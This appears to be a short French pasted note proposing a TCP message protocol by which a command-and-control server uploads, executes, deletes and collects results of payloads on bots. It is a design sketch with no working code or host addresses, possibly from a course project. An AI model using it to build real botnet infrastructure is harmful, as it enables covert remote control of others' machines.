ProtocoleTCP_Charges
1.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Proposition protocole pour installer la charge utile sur le bot:
$C&C: "upload?\n"
$bot: "OKupload\n"
$C&C: "%d\n", charge.name.size
$bot: "OKname_size\n"
$C&C: "%s\n", charge.name
$bot: "OKname\n"
$C&C: "%d\n", charge.data.size
$bot: "OKdata_size\n"
$C&C: "%s\n", charge.data //on envoi octect par octet
$bot: "bye"\n" //qd a recu tt les packets
$C&C: "bye"\n"
Execution charge:
$C&C: "execute?\n"
$bot: "OKexecute\n"
$C&C: "%d\n", charge.name.size
$bot: "OKname_size\n"
$C&C: "%s\n", charge.name
$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi un autre message "NOKname\n" et ca stop l'echange
$bot: "%d\n", id //indice de l'execution dans la structure de donne choisie (liste chaine, table de hashage...a definir) pour stocker les resultats d'execution sur le bot
$C&C: "OKid\n"
$bot: "bye"\n"
$C&C: "bye"\n"
Suppression charge:
$C&C: "delet?\n"
$bot: "OKdelet\n"
$C&C: "%d\n", charge.name.size
$bot: "OKname_size\n"
$C&C: "%s\n", charge.name
$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi "NOKname\n" et ca stop l'echange
$C&C: "bye"\n"
$bot: "bye"\n"
Resultat execution charge:
$C&C: "result?\n"
$bot: "OKresult\n"
$C&C: "%d\n", id
$bot: "OKid\n" //si id existe pas, renvoie "NOKid\n" et stop l'echange
$bot: "%d\n", executions[id].result.size
$C&C: "OKresult_size\n"
$bot: "%s\n", executions[id].result //on envoi octect par octet
$C&C: "bye"\n" //qd a recu tt les packets
$bot: "bye"\n"